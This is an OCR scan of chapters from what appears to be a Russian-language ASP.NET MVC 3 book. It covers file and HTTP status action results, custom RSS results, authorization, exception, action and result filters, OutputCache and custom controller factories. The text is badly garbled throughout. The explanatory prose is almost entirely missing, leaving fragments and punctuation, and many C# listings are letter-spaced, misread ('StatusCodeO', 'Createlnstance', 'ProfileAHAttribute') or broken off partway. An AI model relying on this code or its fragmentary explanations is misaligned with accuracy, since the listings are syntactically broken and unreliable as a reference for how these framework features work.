.
! f ile D o w n lo a d N a m e
C o n t e n t T y p e (, A n n u a l R e p o r t .p d f MIME-
a p p lic a t io n / v n d .m s - e x c e l) , . ,
MIME , a p p li c a t i o n / o c t e t - s t r e a m .
- .
, ,
.
12.
359
File,
12.30.
12.30.
p ublic F i l e C o n t e n t R e s u l t D o w n l o a d R e p o r t () {
b y t e [] data = ... //
return File(data, "application/pdf", "AnnualReport.pdf");
}
9 ,
. C o n t e n t T y p e
f i l e D o w n l o a d N a m e . ,
.
, S y s t e m .
10.Stream, File.
. 12.31
.
12.31.
public FileStreamResult DownloadReport()(
S t r e a m s t r e a m = . . . . . .
return File(stream, "text/html");
:
F i l e R e s u l t ,
: C o n t e n t T y p e MIME ,
F i l e D o w n l o a d N a m e , .
,
FileResult.
F i l e P a t h R e s u l t ,
FileName. 12.29:
[TestMethod]
p u b l i c v o i d F i l e R e s u l t T e s t () {
//
E x a m p l e C o n t r o l l e r t a r g e t = new E x a m p l e C o n t r o l l e r ();
// -
F i l e R e s u l t result = t a r g e t .A n n u a l R e p o r t ();
// -
A s s e rt.A re E q u a l(@ " c :\A n n u a lR e p o rt.p d f",
A s s e rt.A re E q u a l(" a p p lic a tio n /p d f" ,
( ( F i l e P a t h R e s u l t ) r e s u l t ) . F ile N a m e ) ;
re s u lt.C o n te n tT y p e );
A s s e r t . A r e E q u a l (" A n n u a l R e p o r t 2 0 1 1 .p d f " , r e s u l t .F i l e D o w n l o a d N a m e ) ;
360
II. ASP.NET 3
. ,
FileContentResult.FileContents.
FileStreamResult FileStream,
System. 10.Stream, .
HTTP
ActionResult, ,
HTTP. , .. MVC Framework
.
, ,
.
HTTP
HTTP
HttpStatusCodeResult.
, HttpStatusCodeResult
, 12.32.
12.32.
public HttpStatusCodeResult StatusCodeO {
return new HttpStatusCodeResult(404, "URL cannot be serviced");
// URL
HttpStatusCodeResult
. 12.32
404, , .
404
, 12.32,
HttpNotFoundResult,
HttpStatusCodeResult HttpNotFound
, 12.33.
12.33. 404
public HttpStatusCodeResult StatusCodeO
return HttpNotFound();
401
- HTTP
HttpUnauthorizedResult, 401,
. 12.34.
12.34. 401
public HttpStatusCodeResult StatusCodeO
return new HttpUnauthorizedResult{);
12.
361
HttpUnauthorizedResult Controller
, .
, 9.
: HTTP
H t t p S t a t u s C o d e R e s u l t ,
, .
StatusCode HTTP,
StatusDescription .
12.33:
[TestMethod]
public void StatusCodeResultTest() {
//
ExampleController target = new ExampleController ;
// -
HttpStatusCodeResult result = target.StatusCode();
// -
Ass e r t .AreEqual (404, result.StatusCode);
}
, ,
, - .
,
RSS . RSS
,
. R ssA ctio n R esu lt 12.35.
12.35.
u s in g System;
using S y s te m .C o lle c t io n s . Generic;
using Sy ste m .L in q ;
using
S y ste m .W e b ;
u s in g S y ste m .W e b .M v c;
u sing S y ste m .X m l. Lin q ;
namespace C o n t r o l l e r s A n d A c t i o n s . I n f r e s t r u c t u r e
public
abstract
class
RssActionResult
: A ctionResult
}
public
class
public
RssActionResult<T>
Func<T,
Title
XElem ent>
form atter)
= title;
Dataltem s
= data;
: RssA ctionResult
IEnumerable<T> d ata,
362
}
private string GenerateXML(string encoding)
. , ,
. ,
ExecuteResult.
, ActionResult,
ExecuteResult.
R S S - LINQ API- XDocument.
Response, ControllerContext.
12.36 ,
.
12.36.
public RssActionResult RSS()
12.
return new
re t u r n
new
new
new
36 3
}) ;
}
.
StoryLink , (
Func) X M L -, (story)
. ,
R S S -, , . 12.6.
. 1 2 .6 . ,
M VC. , "
IController,
, Controller.
M V C Framework, ,
.
,
,
.
13
.
(cross-cutting concerns). ,
,
Separation of Concerns (
).
, .
,
-,
Ruby on Rails. MVC Framework
Request.Filter Response.Filter ASP.NET,
( ).
Request.Filter Response.Filter MVC,
, ASP.NET MVC ,
, .
,
MVC Framework, , ,
.
9,
SportsStore. ,
, .
, 13.1.
13.1.
namespace SportsStore.W e b U I .Controllers (
public class AdminController : Controller {
// . . .
public ViewResult Ind e x () {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();
}
// ...
13.
365
public ViewResult C r e a t e d {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();
}
// ...
}
public ViewResult Edit(int productld) {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();
}
// ...
}
// ...
, ,
(. 13.2).
13.2.
namespace SportsStore.W e b U I .Controllers {
[Authorize]
public class AdminController : Controller {
// ...
public ViewResult Index!) {
// ...
}
public ViewResult Create () {// . . .
1
public ViewResult Edit(int productld) {
// . . .
)
// ...
}
}
.NET,
. 13.2 Authorize,
, 13.1.
.NET:
.NET, System.Attribute.
, , , .
, ,
, .
C# ,
(, [MyAttribute(SomeProperty=value)]). ,
#, Attribute,
(, AuthorizeAttribute
[Authorize]).
366
M V C F ra m e w o rk .
. . 13.1.
IAuthorizationFilter
AuthorizeAttribute
IActionFilter
ActionFilterAttribute
IResultFilter
ActionFilterAttribute
IExcepti'onFilter
HandleErrorAttribute
,
,
, M VC Fram ew o rk ,
, ,
. 13.1. ,
, .
,
. , , .
! A ctionFilterAttribute IActionFilter
iResultFilter. , .
AuthorizeAttribute HandleErrorAttribute
. 13.2 Authorize AdminController,
,
(. 13.3).
13.3.
namespace SportsStore.W e b U I .Controllers {
public class AdminController : Controller {
II ...
[Authorize]
public ViewResult Ind e x () {
13.
367
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage() ;
}
// ...
}
[Authorize]
public ViewResult C r e a t e () {
if (!Request.IsAuthenticated) {
FormsAuthentication.RedirectToLoginPage();
1
// ...
}
/ / . . .
}__________________
_________________ _________ _
, ,
, .
13.4 .
13.4.
[Authorize(Roles="trader")]
//
public class ExampleController : Controller {
[ShowMessage]
[OutputCache(Duration=60)]
public ActionResult I n d e x () {
// ...
//
//
}
)
13.4 . ,
, .
! ,
, , .
, , ..
, .
,
, ,
. I A u t h o r i z a t i o n F i l t e r ,
13.5.
13.5. I A u t h o r i z a t i o n F i l t e r
namespace System.Web.Mvc {
public interface IAuthorizationFilter {
void OnAuthorization(AuthorizationContext filterContext);
}
}
368
II. ASP.NET 3
, . MVC Framework
. URL,
, URL.
, Framework
, -
. , ,
I A u t h o r i z a t i o n F i l t e r , .. O n A u t h o r iz a t io n .
, .
.
, , .
13.6 . ,
( R e q u e s t .I s A u t h e n t ic a t e d tr u e ),
.
13.6.
using System;
using System.Linq*
using System.Web.Mvc;
using System.Web;
namespace MvcFilters.Infrastructure.Filters (
public class CustomAuthAttribute : AuthorizeAttribute (
private str i n g [] allowedUsers;
public CustomAuthAttribute(params string[] users) {
allowedUsers = users;
)
protected override bool AuthorizeCore(HttpContextBase httpContext)
return httpContext.Request.IsAuthenticated &&
allowedUsers.Contains(httpContext.U s e r .Identity.Name,
StringComparer.InvariantCulturelgnoreCase);
}
}
A u t h o r i z e A t t r ib u t e A u t h o riz e C o r e .
, A u t h o r i z e A t t r ib u t e .
:
, .
,
, . ,
. , ,
.
, ,
. MVC Framework
,
. ,
. ,
, Microsoft.
13.
369
,
. P e r f o r m A u t h e n t i c a t i o n C h e c k ,
, ,
.
O n A u t h o r i z a t i o n . , ,
A u t h o r i z a t i o n C o n t e x t , C o n t r o l l e r C o n t e x t .
C o n t r o l l e r C o n t e x t ,
H t t p C o n t e x t B a s e , .
C o n t r o l l e r C o n t e x t . 13.2.
,
, .
13.2. C o n t r o l l e r C o n t e x t
C on tro ller
HttpContextBase
bool
t r u e , (
, 15)
R equestC ontext
R equestC ontext
H t t p C o n t e x t
,
RouteData
R outeData
HttpContext
, , , 13.6
:
...
f i l t e r C o n t e x t .HttpContext.Request . I s A u t h e n t i c a t e d
...
, ,
. A u t h o r i z a t i o n C o n t e x t
, . 13.3.
13.3. A u t h o r i z a t i o n C o n t e x t
A ctio n D e sc rip to r
R esu lt
A ctio n R esu lt
;
,
, n u l l
A c t i o n D e s c r i p t o r , S y s t e m . W e b . M v c .
,
. , R e s u l t ,
. ,
O n A u t h o r i z a t i o n . MVC Framework
.
R e s u l t
A c t i o n R e s u l t , MVC Framework A c tio n D e sc rip to r,
370
II. ASP.NET 3
. ,
.
, P e r f o r m A u t h e n t i c a t i o n C h e c k
false ( , ,
), HttpUnauthorizedResult (
HttpUnauthorizedResult 12)
Result :
fiiterContext.Result = new HttpUnauthorizedResult () ;
, , 13.7.
13.7.
[CustomAuth("adam", "steve", "bob")]
public ActionResult Ind e x () {
return V i e w ();
)
MVC Framework
, AuthorizeAttribute.
, . 13.4.
13.4. A u t h o r i z e A t t r i b u t e
Users
String
- ,
Roles
String
- .
,
,
13.8 ,
.
13.8.
[Authorize(Users="adam, steve, bob", Roles="admin")]
public ActionResult Ind e x () {
return V i e w ();
}
, . ,
, :
adam, steve bob admin. ,
, .
,
. 13.2.
13.
371
,
. - ,
, A u t h o r i z e A t t r i b u t e . ,
I A u t h o r i z a t i o n F i l t e r , -
,
.
A u t h o r i z e A t t r i b u t e .
AuthorizeAttribute,
A u t h o r i z e C o r e , O n A u t h o r i z a t i o n
A u t h o r i z e A t t r i b u t e .
H a n d l e U n a u t h o r i z e d R e q u e s t ,
.
.
, , O n A u t h o r i z a t i o n .
, ..
,
O u t p u t C a c h e , .
A u t h o r i z e A t t r i b u t e . ,
,
( R e q u e s t . I s L o c a l t r u e ) , ,
A u t h o r i z e A t t r i b u t e .
,
. I s L o c a l
H t t p R e q u e s t B a s e . 13.9.
13.9.
using
S y ste m .W e b ;
u s i n g S y s t e m . W eb .M v c;
namespace M v c F i l t e r s . I n f r e s t r u c t u r e . F il t e r s
public
class
O rAuthorizationAttribute
: AuthorizeAttribute
||
httpContext)
b a s e .A u t h o r ize C o r e (h t tp C o n te x t );
)
}
.
[OrAuthorization(Users
public ActionResult
= "adam ,
I n d e x ()
steve,
bob",
Roles =
A uthorizeAttribute:
"adm in")]
return V ie w ();
,
a d m i n , .
, , .
372
.
. , AJAX.
. , H a n d l e U n a u t h o r i z e d R e q u e s t
A u t h o r i z e A t t r i b u t e , . 13.10 .
13.10.
u s in g S y s te m .W e b .M v c;
namespace M v c F i l t e r s . I n f r e s t r u c t u r e . F ilte r s
public
class AjaxAuthorizeAttribute
: AuthorizeAttribute
{
if
(c o n t e x t . H t tp C o n te x t . R e q u e s t . Is A j a x R e q u e s t ())
UrlHelper
co n tex t.Result
Data
=j n e w
= new J s o n R e s u l t
"N o tA u tho rized ",
LogOnUrl
} else
Error =
},
U r l H e l p e r = new U r l H e l p e r ( c o n t e x t . R e q u e s t C o n t e x t ) ;
= u r lH e lp e r .A c t io n ("L o g O n ",
"A ccount")
J s o n R e q u e s t B e h a v i o r = J s o n R e q u e s t B e h a v i o r . A l l o w G e t };
b a s e . HandleUnauthorizedRequest (c o n t e x t );
)
}
)
)
AJAX, JSON,
URL .
,
. AJAX , .
, AJAX JSON, 19.
,
. :
(, ):
;
(. 12).
13.11.
IExceptionFilter,
13.11. I E x c e p t i o n F i l t e r
namespace S y s te m .W e b .M v c
public
interface
IExceptionFilter
void O nE xception(ExceptionContext
filterC ontext);
13.
373
O n E x c e p t i o n , .
E x c e p t i o n C o n t e x t .
,
C o n t r o l l e r C o n t e x t ( )
, . 13.5.
13,5. E x c e p t io n C o n t e x t
ActionDescriptor
ActionDescriptor
Result
ActionResult
;
,
, n u l l
Exception
Exception
ExceptionH andled
bool
t r u e ,
E x c e p t i o n .
, ,
E x c e p t i o n H a n d l e d t r u e . , ,
, t r u e ,
, - ,
.
t r u e , MVC Framework
ASP.NET. .
ExceptionH andled
13.12.
u s in g S y s te m .W e b .M v c;
u s in g System ;
namespace M v c F i l t e r s . I n f r a s t r u c t u r e . F i l t e r s
public
public
if
filterContext)
NullReferenceException)
( ! f i l t e r C o n t e x t . ExceptionHandled
f il t e r C o n t e x t . Exception
is
IExceptionFilter
ss
)
}
374
N u l l R e f e r e n c e E x c e p t i o n ,
, ,
.
URL. :
[MyException]
p u b l i c A c t i o n R e s u l t I n d e x () {
I n d e x ,
N u l l R e f e r e n c e E x c e p t i o n ,
, URL / S p e c i a l E r r o r P a g e . h t m l .
.
, ,
, . 13.6.
H an d leE rro rA ttribu te
IE x c e p tio n F ilte r
13.6. H a n d l e E r r o r A t t r i b u t e
E x c e p tio n T y p e
Type
, .
,
, .
S y s t e m . E x c e p t i o n ,
V ie w
strin g
,
. ,
E r r o r ,
/V ie w s /< T e y e o K o p o e p a > /E r r o r . c s h t m l
M aster
strin g
/V i e w s /S h a r e d /E r r o r .c s h t m l
,
. ,
, E x c e p t i o n T y p e ,
HTTP 500 ( )
, V i e w (
, M a s t e r ) .
H a n d l e E r r o r A t t r i b u t e 13.13.
13.13. H a n d l e E r r o r A t t r i b u t e
[HandleError(ExceptionType=typeof(NullReferenceException), View="SpecialError")]
p u b l i c A c t i o n R e s u l t I n d e x () {
N u l l R e f e r e n c e E x c e p t i o n ,
S p e c i a l E r r o r ,
.
13.
375
! H a n d l e E r r o r A t t r i b u t e , W e b . c o n f i g
, , < c u s t o m E r r o r s
"O n "
/>
< s y s t e m . w e b > .
m ode=
R e m o t e O n l y , , H a n d l e E r r o r A t t r i b u t e
,
.
, ,
On.
H a n d l e E r r o r A t t r i b u t e
H a n d l e E r r o r l n f o , , ,
, . 13.14
.
13.14.
@M odel H a n d l e E r r o r l n f o
@<
V ie w B ag . T it l e
= "S o r r y ,
t h e r e was a p r o b l e m ! ";
}
<p>
T h e r e w a s a < b > @ M o d e l . E x c e p t i o n . G e t T y p e ( ) .N a m e < / b >
w h ile
a c tio n .
< /p >
<p>
The e x c e p t io n m essage
is:
< b x @ M o d e l .E x c e p t i o n .M e s s a g e x /b >
< /p >
< p> Stack t r a c e :< /p >
< p re > @ M o d e l. E x c e p t i o n . S t a c k T r a c e < /p r e >
. 13.1.
. 13 .1.
376
. .
IActionFilter,
13.15.
13.15. I A c t i o n F i l t e r
namespace System.Web.Mvc {
public interface IActionFilter {
void OnActionExecuting(ActionExecutingContext filterContext);
void OnActionExecuted(ActionExecutedContext filterContext);
}
. M V C Framework
OnActionExecuting , OnActionExecuted
OnActionExecuting
OnActionExecuting .
, ,
.
ActionExecutingContext, ControllerContext
, (. . 13.7).
13.7. A c t io n E x e c u t i n g C o n t e x t
ActionDescriptor
ActionDescriptor
Result
ActionResult
;
,
, n u l l
, Result
, 13.16.
377
13.
OnActionExecuting ,
SSL. , 404 Not Found (
).
! 13.16 , ,
IActionFilter, .
, . ,
NotlmplementedException,
.
OnActionExecuted
,
. 13,17
, ,
.
13.17.
using System.^Diagnostics;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters {
public class ProfileAttribute : FilterAttribute, IActionFilter {
private Stopwatch timer;
public void OnActionExecuting(ActionExecutingContext filterContext)
timer = Stopwatch.StartNew();
}
public void OnActionExecuted(ActionExecutedContext filterContext)
t i m e r .S t o p ();
if (filterContext.Exception == null) {
filterContext.HttpContext.Response.Write (
string.F o r m a t ("Action method elapsed time: (0)",
timer.Elapsed.TotalSeconds));
}
}
}
)
OnA c t i o n E x e c u t i n g
( Stopwatch System.Diagnostics).
OnActionExecuted , . 13.17
,
. . 13.2 .
. 13.2.
378
O n A c t i o n E x e c u t e d A c t i o n E x e c u t e d
, . 13.8.
E x c e p t i o n , ,
E x c e p t i o n H a n d l e d , .
C ontext.
1 3 .8 . A c t i o n E x e c u t e d C o n t e x t
A ctio n D e sc rip to r
A ctio n D e sc rip to r
C an celed
bool
t r u e ,
E x c e p t io n
E xc e p tio n
E xc e p tio n H an d le d
bool
t r u e ,
R esu lt
A ctio n R e s u lt
;
,
, n u l l
C a n c e l e d t r u e , (
R e s u l t ) ,
O n A c t i o n E x e c u t i n g . O n A c t i o n E x e c u t e d - ,
.
.
, .
I R e s u l t F i l t e r ,
13.18.
13.18. I R e s u l t F i l t e r
n a m e s p a c e S y s t e m .W e b .M v c
p u b lic
in te r fa c e
IR e su ltF ilte r
v o id O n R e s u lt E x e c u tin g (R e s u ltE x e c u t in g C o n t e x t
v o id O n R e s u lt E x e c u te d (R e s u ltE x e c u t e d C o n t e x t
filt e r C o n t e x t );
filt e r C o n t e x t );
}
}
12 , .
.
, O n R e s u l t E x e c u t i n g ,
, .
O n R e s u l t E x e c u t e d .
R e s u l t E x e c u t i n g C o n t e x t
R e s u l t E x e c u t e d C o n t e x t ,
. ,
(. . 13.8). 13.19 .
379
13.
13.19.
using System.Diagnostics;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters {
public class ProfileResultAttribute : FilterAttribute, IResultFilter {
private Stopwatch timer;
public void OnResultExecuting(ResultExecutingContext filterContext)
timer = Stopwatch.StartNew();
}
public void OnResultExecuted(ResultExecutedContext filterContext)
timer.S t o p ();
filterContext.HttpContext.Response.Write(
string.Form a t ("Result execution - elapsed time: {0}",
timer.Elapsed.TotalSeconds));
}
}
}
,
. :
[ProfileResult]
public ActionResult Index () {
return V i e w ();
}
, ,
. 13.3. ,
. ,
.. ,
.
, .
. 13.3.
MVC Framework ,
.
, .
ActionFilterAttribute 13.20.
380
1 3 .2 0 . A c t i o n F i l t e r A t t r i b u t e
public abstract class ActionFilterAttribute :
FilterAttribute, IActionFilter, IResultFilter (
public virtual void OnActionExecuting(ActionExecutingContext filterContext)
{
)
public virtual void OnActionExecuted(ActionExecutedContext filterContext)
(
)
public virtual void OnResultExecuting(ResultExecutingContext filterContext)
(
)
public virtual void OnResultExecuted(ResultExecutedContext filterContext)
(
)
,
, , . 13.21
ActionFilterAttribute ,
.
13.21. A c t i o n F i l t e r A t t r i b u t e
using System.Diagnostics;
using System.Web.Mvc;
namespace MvcFilters.Infrestructure.Filters {
public class ProfileAHAttribute : ActionFilterAttribute {
private Stopwatch timer;
public override void OnActionExecuting(ActionExecutingContext filterContext)
(
timer = Stopwatch.StartNew ();
}
public override void OnActionExecuted(ActionExecutedContext filterContext)
{
timer.S t o p ();
filterContext.HttpContext.Response.Write(
string.F o r m a t ("Action method elapsed time: (0)",
timer.Elapsed.TotalSeconds) ) ;
)
public override void OnResultExecuting(ResultExecutingContext filterContext)
(
timer = Stopwatch.StartNew ();
}
public override void OnResultExecuted(ResultExecutedContext filterContext)
(
timer.S t o p ();
filterContext.HttpContext.Response.W r i t e (
string.Format("Action result elapsed time: (0}",
timer.Elapsed.TotalSeconds) ) ;
}
)
)
13.
381
A c t i o n F i l t e r A t t r i b u t e I A c t i o n F i l t e r
IResultFilter. , MVC Framework
,
. 13.21 , ,
. 13.4.
. 13.4. /
,
.
, ,
.
MVC Framework.
, .
. Controller
I A u t h o r i z a t i o n F i l t e r , I A c t i o n F i l t e r , I R e s u l t F i l t e r I E x c e p t i o n F i l t e r .
On, O n A u t h o r i z a t i o n O n E x c e p t i o n . 13.22
, .
13.22.
using System.Diagnostics;
using S ystem.Web.Mvc;
namespace MvcFilters.Controllers {
public class SampleController : Controller (
private Stopwatch timer;
public ActionResult I n d e x () {
return V i e w ();
}
protected override void OnActionExecuting(ActionExecutingContext filterContext)
{
timer = Stopwatch.StartNew ();
}
protected override void OnActionExecuted(ActionExecutedContext filterContext)
{
t im e r .S t o p ();
filterContext.HttpContext.Response.W r i t e (
382
{0}",
}
p r o t e c t e d o v e r r id e v o i d O n R e s u ltE x e c u tin g ( R e s u lt E x e c u t in g C o n te x t f i l t e r C o n t e x t )
{
tim e r = Stopw atch. StartN ew () ;
}
p r o t e c t e d o v e r r i d e v o i d O n R e s u lt E x e c u t e d ( R e s u lt E x e c u t e d C o n t e x t f i l t e r C o n t e x t )
(
t i m e r . Sto p () ;
f i l t e r C o n t e x t . H ttp C o n te x t. R e sp o n se .W rite (
s t r i n g . F o r m a t ( " A c t io n r e s u l t e l a p s e d t i m e : { 0 } " ,
t im e r . E la p s e d . T o ta lS e co n d s) ) ;
}
}
}
,
. ,
, , ,
,
, .
. H elm
.
, , ,
.
.
R e g is t e r G lo b a lF ilt e r s
G l o b a l . a s a x . 13.23 , P r o f i l e A l l ,
13.21, .
13.23.
p u b l i c c l a s s M v c A p p l i c a t i o n : Sy stem .W eb . H t t p A p p l i c a t i o n {
p u b lic s t a t i c vo id R e g i s t e r G l o b a l F i lt e r s ( G lo b a lF i l t e r C o l le c t io n f i l t e r s )
f i l t e r s . A d d ( n e w H a n d l e E r r o r A t t r i b u t e ()) ;
filters .Add (new Prof i l e AHAttribute () ) ;
R e g i s t e r G l o b a l F i l t e r s A p p l i c a t i o n _ S t a r t ,
MVC.
R e g i s t e r G l o b a l F i l t e r s A p p l i c a t i o n _ S t a r t ,
Visual Studio MVC. R e g i s t e r G l o b a l F i l t e r s
G l o b a l F i l t e r C o l l e c t i o n .
Add, :
f i l t e r s .Add (new P r o f i l e A H A t t r i b u t e () ) ;
,
( P r o f i l e A l l A t t r i b u t e ) , , -
383
13.
(ProfileAll).
.
! RegisterGlobalFilters ,
Visual Studio, MVC.
,
/Views/Shared/Error.cshtml.
. , ,
.
,
, 13.24.
13.24. ,
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
>) ;
, .
: , ,
. ,
.
, .
13.25 ,
.
13.25.
using System;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters (
[AttributeUsage(AttributeTargets.Method I
AttributeTargets.Class , AllowMultiple=true)]
public class SimpleMessageAttribute : FilterAttribute, IActionFilter {
public string Message ( get; set; }
public void OnActionExecuting(ActionExecutingContext filterContext)
filterContext.HttpContext.Response.Write(
string.Form a t ("[Before Action: (0)]", Message));
}
public void OnActionExecuted(ActionExecutedContext filterContext)
filterContext.HttpContext.Response.Write(
string.Form a t ("[After Acti o n : {0}]", Message));
}
}
384
II. ASP.NET 3
, O n X X X .
M e s s a g e .
,
13.26 ( , A t t r i b u t e U s a g e A l l o w M u l t i p l e
true).
13.26.
[SimpleMessage(Message="A")]
[ S i m p l e M e s s a g e ( M e s s a g e = " B " )]
public ActionResult
I n d e x ()
R e s p o n s e . W r i t e ( "A c t io n method
i s ru n n in g ");
return V i e w ();
: .
,
. URL, ,
, . 13.5.
. 13 .5.
M V C Framework ,
. M V C Framework
- .
. , Order,
13.27.
13.27. Order
[SimpleMessage(Message="A", Order=2)]
[SimpleMessage(Message="B", Order=l)]
public A ctionResult
I n d e x ()
R e s p o n s e . W r i t e ( "A c t i o n method i s
ru nn in g");
return V ie w ();
O r d e r i n t , a M VC Framework
. 13.27
O r d e r , (. 13.6).
13.
385
Index
URL: ; h ttp ://b c c lh c st:240S/Exam 3telndc.\
[Before Action: B][Before Action; A]Action method is running[After Action; Aj[After Action: Bj
In d e x
. 13.6.
! , O n A ctio n E xecu tin g
, OnActionExecuted , . MVC
Framework ,
, .
Order ,
, -1. , ,
Order, , Order
, Order.
(, )
Order (, 1), MVC Framework
, .
, , ,
, .
! F i r s t Last. F ir s t
, L a st .
G lo b a l.a sa x .
13.28.
13.28. O rd e r
public static void RegisterGlobalFilters(GlobalFilterCollection filters) {
filters.Add(new HandleErrorAttribute() ) ;
filters.Add(new SimpleMessageAttribute() { Message = "Global", Order = 1 });
)
Order
. ,
(. 13.29). Order.
13.29.
[SimpleMessage(Message="Controller", Order=l)]
public class ExampleController : Controller (
[SimpleMessage(Message="Action", Order=l)]
public ActionResult I n d e x () {
Response.Write("Action method is running");
return V i e w ();
)
}
13 . 4039
386
, ,
. 13.7.
. 13.7.
! .
O r d e r
, .
O rd e r .
M V C Framework ,
, . 13.9.
13.9.
R e q u ir e H t t p s
HTTPS
O u tp u tC ach e
V a li d a t e l n p u t
V a lid a t io n A n t iF o r g e r y T o k e n
A sy n c T im e o u t N o A syn cT im eo u t
C h i ld A c t i o n O n l y A t t r ib u t e
,
H t m l.A c t io n H tm l.R e n d e r A c tio n
.
R e q u ir e H t t p s O u tp u tC a ch e .
RequireHttps
R e q u ir e H t t p s HTTPS
. ,
h t t p s :/ / .
H a n d ie N o n H ttp sR e q u e st
, .
GET. POST
.
!
R e q u ir e H t t p s , ,
, . " ,
.
13.
387
OutputCache
OutputCache MVC Framework
,
URL.
,
,
( ). ,
,
.
OutputCache
ASP.NET, ,
Web Forms.
O utputCache
, , Cache-Control.
, , . 13.10.
13.10. O u tp u tC a c h e
Duration
int
,
( )
VaryByParam
string
(
)
ASP.NET
Request.
QueryString Request.Form,
.
".
*,
1. ,
VaryByHeader
string
(
)
ASP.NET
,
HTTP
VaryByCustom
string
, ASP.NET
GetVaryByCustomString Global.asax,
,
. browser
VaryByContentEncoding
string
(
)
ASP.NET
(.. gzip deflate),
388
II. ASP.NET 3
. 13.10
L o c a tio n
O u tp u tC ach eL ocatio n
, .
: S e r v e r (
), C l i e n t (
), D o w n s t r e a m (
HTTP-,
-), S e r v e r A n d C l i e n t (
S e r v e r C l i e n t ) , A n y (
S e r v e r D o w n s t r e a m ) N o n e
( ). ,
A n y
NoStore
bool
t r u e , A S P .N E T
Cach e- C on tro l:
n o - s t o r e ,
,
.
C ach eP ro file
strin g
, A S P .N E T
< o u t p u t C a c h e S e t t i n g s >
W e b . c o n f i g
SqlDependency
strin g
/
,
,
.
S Q L ASP.NET,
.
h t t p : / / m s d n . m i c r o s o f t . c o m /
r u - r u /l i b r a r y /m s l 7 8 6 0 4 .a s p x
OutputCache
.
Html.Action.
MVC 3 ,
, .
15, 13.30 .
13.30.
public class ExampleController : Controller {
public ActionResult Index () {
Response.Write("Action method is running: " + DateTime.Now);
return V i e w ();
}
[OutputCache(Duration = 30)]
public ActionResult ChildAction() {
Response.Write("Child action method is running: " + DateTime.Now);
return V i e w ();
13.
389
.
ChildAction OutputCache.
.
Index .
Response.
13.31 Index.cshtml (
Index).
13.31. ,
01
ViewBag.Title = "Index";
}
<h2>This is the main action view</h2>
OHtml.Action("ChildAction")
, ChildAction .
ChildAction 13.32.
13.32. C h ild A c t io n .c s h t m l
0{
Layout = null;
}
URL, Index.
, , ,
. (
URL, ), , ,
, , .
, (. 13.8).
,
. ,
. ,
, , .
,
, .
.
. 13 .8.
14
.
, ,
.
, ,
, .
. , ,
, MVC.
. 14.1 .
.
11, Controller
12.
. .
.
. MVC Framework
, , . ,
.
. 14 .1.
14.
391
MVC Framework,
.
,
, ,
MVC Framework .
I C o n t r o l l e r F a c t o r y ,
14.1.
14.1. I C o n t r o l l e r F a c t o r y
namespace System.Web.Mvc {
using System.Web.Routing;
using System.Web.SessionState;
public interface IControllerFactory {
IController CreateController(RequestContext requestContext,
string controllerName);
SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName);
void ReleaseController (IController controller);
CreateController,
MVC Framework , .
RequestContext,
, , controller
URL.
,
,
- .
, F i r s t C o n t r o l l e r
S e c o n d C o n t r o lle r . 14.2
C u s t o m C o n t r o lle r F a c t o r y .
14.2. C u s t o m C o n t r o lle r F a c t o r y
using
using
using
using
using
System;
System.Web.Mvc;
System.Web.Routing;
System.Web.SessionState;
ControllerExtensibility.Controllers;
namespace ControllerExtensibility.Infrestructure {
public class CustomControllerFactory : IControllerFactory {
public IController CreateController(RequestContext requestContext,
string controllerName) {
Type targetType = null;
switch (controllerName)
392
}
return targetType == null ?
null : (IController)Activator.Createlnstance(targetType);
)
public SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName) (
return SessionStateBehavior.Default;
}
)
}
C r e a t e C o n t r o l l e r ,
. .
. , , -
, .
.
14.2 .
,
, MVC Framework.
, controller First
Second, FirstController SecondController.
System.Activator,
, :
(IController)Activator.Createlnstance(targetType);
, controller ,
FirstController. ,
,
.
.
MVC Framework controller
, . ,
First,
controller :
requestContext.RouteData.Values["controller"] = "First";
14.
393
,
, ,
.
MVC Framework.
IC o n tro lle rF a c to r y .
G e tC o n tro llerS e ssio n B eh a v io r MVC Framework
, .
,
.
R e le a s e C o n tr o lle r , ,
C r e a te C o n tr o lle r , . ,
ID isp osab le. ,
D ispose .
MVC Framework
C o n tr o lle rB u ild e r , 14.3.
14.3.
p r o t e c t e d v o i d A p p l i c a t i o n _ S t a r t () {
A r e a R e g i s t r a t i o n .R e g i s t e r A l l A r e a s ();
ControllerBuilder.Current.SetControllerFactory(new CustomControllerFactory ()) ;
R e g i s t e r G l o b a l F i l t e r s ( G l o b a l F i l t e r s .Filters) ;
RegisterRoutes(RouteTable.Routes);
)
, D e fa u ltC o n tro lle rF a c to ry .
c o n t r o l l e r (. 11) -
, .
p u b lic.
( a b stra ct).
.
C o n tro lle r.
IC o n tr o lle r .
D e fa u lt C o n t r o lle r F a c t o r y
, , , .
,
(
D e fa u ltC o n tr o lle r F a c to r y ), .
, .
, D e fa u ltC o n tro lle rF a c to ry
. -
394
II. ASP.NET 3
, .
, , .
,
. ,
, .
.
11 ,
.
, ,
. ,
, DefaultControllerFactory
.
,
, .
14.4 , .
14.4.
protected void Application_Start() {
AreaRegistration.RegisterAllAreas ();
ControllerBuilder.Current.DefaultNamespaces.Add("MyControllerNamespace) ;
ControllerBuilder.Current.DefaultNamespaces.A d d ("MyProject.*");
RegisterGlobalFilters(GlobalFilters.Filters);
R e g i s t e r R o u t e s ( R o u t e T a b l e .R o u t e s ) ;
1
, ,
C o n t r o l l e r B u i l d e r . C u r r e n t . D e f a u l t N a m e s p a c e s . A d d . ,
, - .
- ,
- ,
.
. ,
. ,
.
11.
,
. (*)
, 14.4. ,
M y P r o j e c t
. ( ,
, ; .*
, .)
14.
395
D e f a u lt C o n t r o lle r F a c t o r y
, DefaultControllerFactory
.
DI (Dependency Injection
). .
, DI .
DefaultControllerFactory
, .
10. NinjectDependencyResolver,
IDependencyResolver Ninject DI.
DefaultControllerFactory IDependencyResolver.
GetService ,
.
DI .
IControllerActivator,
14.5.
14.5. I C o n t r o l l e r A c t i v a t o r
namespace System.Web.Mvc {
using System.Web.Routing;
public interface IControllerActivator (
IController Create(RequestContext requestContext, Type controllerType);
)
)
Create,
